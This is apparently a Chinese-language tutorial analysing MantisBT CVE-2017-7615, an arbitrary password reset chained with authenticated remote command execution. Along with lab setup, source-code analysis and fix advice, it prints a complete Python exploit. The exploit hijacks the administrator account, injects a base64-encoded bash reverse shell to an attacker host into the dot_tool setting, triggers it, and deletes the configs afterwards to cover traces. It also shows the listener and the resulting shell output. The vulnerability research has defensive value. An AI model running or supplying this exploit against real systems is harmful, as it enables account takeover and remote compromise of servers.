Mantis BT CVE-2017-7615任意密码重置+认证后RCE漏洞分析
字数 1364 2025-08-26 22:11:15
Mantis BT CVE-2017-7615漏洞分析与利用教学文档
漏洞概述
Mantis BT是一个用PHP编写的BUG管理系统,具有简单轻量级和开源的特点。CVE-2017-7615漏洞影响MantisBT 2.3.0及之前的版本,包含两个主要漏洞:
- 任意密码重置漏洞:攻击者可通过向verify.php文件传递空的confirm_hash值利用该漏洞重置任意密码
- 认证后RCE漏洞:在获取管理员权限后,可通过配置修改实现远程命令执行
环境搭建
Docker环境准备
sudo docker run -it --name Mantis -p 10080:80 --privileged=true -v /home/island/work/work/software/Mantis/container:/root ubuntu:16.04 bash
基础工具安装
apt-get update
apt-get install net-tools apt-get install iputils-ping
apt-get install iproute2
apt-get install vim
apt-get install zip
Mantis BT安装
apt-get install apache2
apt-get install php
apt-get install php7.0-gd
apt-get install libapache2-mod-php
apt-get install mysql-server
apt-get install php-mysql
apt-get install php-xml
apt-get install php-mbstring
service apache2 start
service mysql start
Mantis BT部署
-
下载Mantis BT 2.18.0:
cp mantisbt-2.18.0.zip /var/www/html/ cd /var/www/html/ unzip mantisbt-2.18.0.zip mv mantisbt-2.18.0 mantisbt chmod -R 777 mantisbt -
修改配置文件:
- 编辑
/etc/php/7.0/apache2/php.ini,删除;extension=msql.so前的分号 - 编辑
/etc/apache2/apache2.conf,最后添加:ServerName localhost:80
- 编辑
-
解决依赖问题:
composer dump-autoload apt-get install php7.0-gd composer install -
访问安装页面完成安装:
http://[IP]:10080/mantisbt/admin/install.php
调试环境配置
Xdebug配置
-
服务器端:
apt install php-xdebug编辑
/etc/php/7.0/cli/php.ini,添加:[xdebug] zend_extension=xdebug.so [XDebug] xdebug.remote_enable=on xdebug.remote_autostart=1 xdebug.remote_host=172.16.113.1 xdebug.remote_port=9000 xdebug.remote_connect_back=0 xdebug.auto_trace=1 xdebug.collect_includes=1 xdebug.collect_params=1 xdebug.remote_log=/tmp/xdebug.log -
客户端(VSCode)配置
launch.json:{ "version": "0.2.0", "configurations": [ { "name": "Listen for XDebug", "type": "php", "request": "launch", "stopOnEntry": false, "localSourceRoot": "/Users/islandmac/Seafile/MyDocument/work/software/Mantis/container/mantisbt-2.2.2/", "serverSourceRoot": "/var/www/html/mantisbt-2.2.2/", "port": 9000 }, { "name": "Launch currently open script", "type": "php", "request": "launch", "program": "${file}", "cwd": "${fileDirname}", "port": 9000 } ] }
漏洞利用
利用脚本
import requests
from urllib import quote_plus
from base64 import b64encode
from re import split
class exploit():
def __init__(self):
self.s = requests.Session()
self.headers = dict()
self.RHOST = "192.168.1.10" # 目标IP
self.RPORT = "10080" # 目标端口
self.LHOST = "192.168.1.10" # 攻击机IP
self.LPORT = "4444" # 攻击机端口
self.verify_user_id = "1" # 目标账户用户ID
self.realname = "administrator" # 要劫持的用户名
self.passwd = "password" # 重置后的密码
self.mantisLoc = "/mantisbt-2.2.2" # Mantis路径
self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash"
def reset_login(self):
# 获取account_update_token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
r = self.s.get(url=url, headers=self.headers)
account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]
# 重置账户密码
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
self.headers.update({'Content-Type': 'application/x-www-form-urlencoded'})
r = self.s.post(url=url, headers=self.headers, data=data)
if r.status_code == 200:
print "Successfully hijacked account!"
def login(self):
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = self.s.post(url=url, headers=self.headers, data=data)
if "login_page.php" not in r.url:
print "Successfully logged in!"
def CreateConfigOption(self, option, value):
# 获取adm_config_set_token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
r = self.s.get(url=url, headers=self.headers)
adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]
# 创建配置
data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(value) + "&action=create&config_set=Create+Configuration+Option"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
r = self.s.post(url=url, headers=self.headers, data=data)
def TriggerExploit(self):
print "Triggering reverse shell"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
try:
r = self.s.get(url=url, headers=self.headers, timeout=3)
except:
pass
def Cleanup(self):
# 清理创建的配置
print "Cleaning up"
cleaned_up = False
cleanup = requests.Session()
CleanupHeaders = dict()
CleanupHeaders.update({'Content-Type': 'application/x-www-form-urlencoded'})
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = cleanup.post(url=url, headers=CleanupHeaders, data=data)
ConfigsToCleanup = ['dot_tool', 'relationship_graph_enable']
for config in ConfigsToCleanup:
# 获取adm_config_delete_token
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
r = cleanup.get(url=url, headers=self.headers)
test = split('<!-- Repeated Info Rows -->', r.text)
del test[0]
cleanup_dict = dict()
for i in range(len(test)):
if config in test[i]:
cleanup_dict.update({'config_option': config})
cleanup_dict.update({'adm_config_delete_token': test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
cleanup_dict.update({'user_id': test[i].split('name="user_id" value=')[1].split('"')[1]})
cleanup_dict.update({'project_id': test[i].split('name="project_id" value=')[1].split('"')[1]})
# 删除配置
print "Deleting the " + config + " config."
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict['user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict['config_option'] + "&_confirmed=1"
r = cleanup.post(url=url, headers=CleanupHeaders, data=data)
# 确认清理
r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php", headers=CleanupHeaders, verify=False)
if config in r.text:
cleaned_up = False
else:
cleaned_up = True
if cleaned_up == True:
print "Successfully cleaned up"
else:
print "Unable to clean up configs"
exploit = exploit()
exploit.reset_login()
exploit.login()
exploit.CreateConfigOption(option="relationship_graph_enable", value="1")
exploit.CreateConfigOption(option="dot_tool", value=exploit.ReverseShell + ';')
exploit.TriggerExploit()
exploit.Cleanup()
利用步骤
-
启动监听:
nc -lvvp 4444 -n -
修改exp中的参数:
- RHOST:目标IP
- RPORT:目标端口
- LHOST:攻击机IP
- LPORT:攻击机监听端口
- mantisLoc:Mantis BT的URL路径
-
执行exp:
python CVE-2017-7615_exp.py -
成功获取反向shell:
$ nc -lvvp 4444 -n Listening on 0.0.0.0 4444 Connection received on 172.17.0.4 40698 bash: cannot set terminal process group (12522): Inappropriate ioctl for device bash: no job control in this shell www-data@21467ebf0ffb:/var/www/html/mantisbt-2.2.2$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
漏洞分析
密码重置漏洞分析
漏洞原理:
-
攻击者向
verify.php发送GET请求,参数为id=1&confirm_hash=(空的confirm_hash)GET /mantisbt-2.2.2/verify.php?id=1&confirm_hash= HTTP/1.1 -
verify.php关键代码:$f_user_id = gpc_get_string('id'); $f_confirm_hash = gpc_get_string('confirm_hash'); $t_token_confirm_hash = token_get_value(TOKEN_ACCOUNT_ACTIVATION, $f_user_id); if($f_confirm_hash != $t_token_confirm_hash) { trigger_error(ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR); }当
confirm_hash为空时,$t_token_confirm_hash也为空(未登录情况下),导致条件判断绕过。 -
代码继续执行,调用
auth_attempt_script_login()模拟登录,并生成有效的account_update_token -
攻击者使用获取的token发送POST请求重置密码:
POST /mantisbt-2.2.2/account_update.php HTTP/1.1 account_update_token=20220727yZ-LSS6H7Oh2T8e0vtB-7idGE-jtqpkN&password=password&verify_user_id=1&realname=administrator&password_confirm=password -
最终执行的SQL语句:
UPDATE mantis222_user_table222 SET password=root, cookie_string=XFf3oXAaubj6XafrescDZ702IJeWIA1kecS7KoKvqFge_skYnK2QPVHR6Im5FXcq WHERE id=1
认证后RCE漏洞分析
漏洞原理:
-
攻击者首先登录获取的管理员账户
-
通过
adm_config_report.php获取adm_config_set_token -
修改两个关键配置:
- 设置
relationship_graph_enable为1 - 设置
dot_tool为要执行的命令
- 设置
-
触发漏洞:
- 访问
workflow_graph_img.php时,系统会调用dot_tool配置的值作为命令执行 Graph类的output方法中:$t_command = $this->graphviz_tool . ' -T' . $p_format; $t_proccess = proc_open($t_command, $t_descriptors, $t_pipes);- 由于
graphviz_tool来自dot_tool配置,导致命令注入
- 访问
修复建议
- 升级到Mantis BT 2.3.0以上版本
- 对
verify.php中的confirm_hash参数进行严格验证 - 对
dot_tool配置值进行过滤,防止命令注入 - 使用最小权限原则运行Mantis BT